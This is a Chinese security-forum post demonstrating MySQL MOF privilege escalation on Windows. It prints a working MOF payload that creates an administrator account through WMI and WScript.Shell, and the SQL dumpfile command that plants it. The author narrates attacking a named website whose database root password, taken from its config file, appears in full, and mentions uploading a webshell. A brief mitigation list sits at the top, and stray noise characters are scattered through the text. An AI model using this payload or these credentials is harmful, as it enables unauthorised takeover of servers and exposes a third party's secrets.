找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2501|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Mysql mof扩展漏洞防范方法
4 K4 ]5 f7 Z) Y6 p" @( J8 G6 k/ j- x; _$ {1 K1 v
网上公开的一些利用代码:
  b9 r+ O1 J1 Z  I# n
- Z: G$ t2 Z2 O7 }! ]#pragma namespace(“\\\\.\\root\\subscription”)
/ }0 {/ L9 w) J6 h/ ~  B" ~- Y" ^& P. z  w# `4 y+ V
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
; ?3 U* F. S7 b8 y$ H* J' v
) ~. Y# {) ]: V; L1 A 6 k* h& B2 v5 y7 r. s

* Q6 Q6 c3 H4 q+ g % B5 a2 Y# s- _3 R  U4 J( d3 q
5 N- b# ]0 y9 M" ~& N
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
4 M+ }' k1 G  o. U8 K从上面代码来看得出解决办法:% u+ A* t* M( g: i

& X( \3 c1 F- X' r+ J( h( d5 \1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数5 o/ }. h/ M) f+ W& E$ O
: l3 j9 D1 K; B6 K1 H/ H' L
2、禁止使用”WScript.Shel”组件. B0 |) a' q6 t

6 h# ~0 m' v/ v$ J2 g3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER% ]0 t' b6 o1 K( E7 J

1 D$ }( L' D- M当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下. A& m* G9 K# R( t. a; j
: m% Q" P; }/ ^5 \2 N% o1 G/ v% {* y8 r$ d
事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权3 Z. d7 A3 E7 r0 z5 G& z

& @9 n6 L  g6 E6 ~  k# v但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
' s& I5 S+ i& ~, o; z" V- ]& ^+ G% U, I, p: T
看懂了后就开始练手吧# L1 a6 x! K: t$ c. l, w* f+ d

# l( K" C- N( s1 f0 Yhttp://www.webbmw.com/config/config_ucenter.php 一句话 a, \( `9 F( U; y. v

* f  R; u: P5 {: S9 Q$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
% g+ Q( w  @9 e% R* T* H3 O& a4 \9 {! r3 ~5 K$ h) g  \
于是直接用菜刀开搞) i/ }; ^& a( c- s/ m

) T' e, Z$ y& `# x9 s% S2 X上马先
% g! |5 N+ W- ?$ y4 r6 n0 Y  d0 E: a: e% t. u  T- ~! L
既然有了那些账号 之类的 于是我们就执行吧…….2 H2 Z% X8 x1 H! t9 w8 X
: T) S# F! A" u# p9 v: Q1 g
小小的说下$ J; t; b6 E# y

) ~. G" I, I$ f* T在这里第1次执行未成功        原因未知
5 {( y  x! R! |1 C" P3 a. b$ p, e' E; ?
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。& `: A) N! a& ]- a: i: z6 r4 r7 Z

9 @, ~2 ~2 b- s#pragma namespace(“\\\\.\\root\\subscription”)2 u/ O. j. B7 P. d1 y
* u0 K" P$ D  e5 s2 F7 [
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };5 [$ r/ @$ I# c& L* t

/ h' x( ^) d& {$ h我是将文件放到C:\WINDOWS\temp\1.mof
- G1 ?5 P0 D( X+ {/ J+ D, O8 x3 C
, w& A. m( q. X: F所以我们就改下执行的代码* V# A! w. o* u# K
* F* }4 D. j" y* ^8 Q: f+ e
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;8 g1 _. l( Y4 I. ?0 D: O& u
% n" c3 [( W8 z% L$ v

, a9 [5 \, r4 B4 Q$ n5 J
4 g1 g+ s( w* D4 l但是 你会发现账号还是没有躺在那里。。+ w# L, |) H% X, f: ^
0 u9 |9 v% u( y
于是我就感觉蛋疼
. u5 U6 g- F* o& b& Y4 F  _! I+ a8 u
- B2 {; k$ q. U8 s9 J3 e就去一个一个去执行 但是执行到第2个 mysql时就成功了………" f8 ]2 S7 j" \" y

* h3 ]" u5 p! I' F* Q7 I; @3 n- \2 {( Y# P+ R

- R7 D; E9 o/ `9 i1 s但是其他库均不成功…! V% V8 Y, h" D, P1 }, E  l
6 g* i+ `# n; Z8 d  X% a
我就很费解呀 到底为什么不成功求大牛解答…
* m! _" u1 W! r) U! G1 m
, K( N: r* C& {3 v​
( R7 J% F& d. L; X
2 n6 h( m8 q7 h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表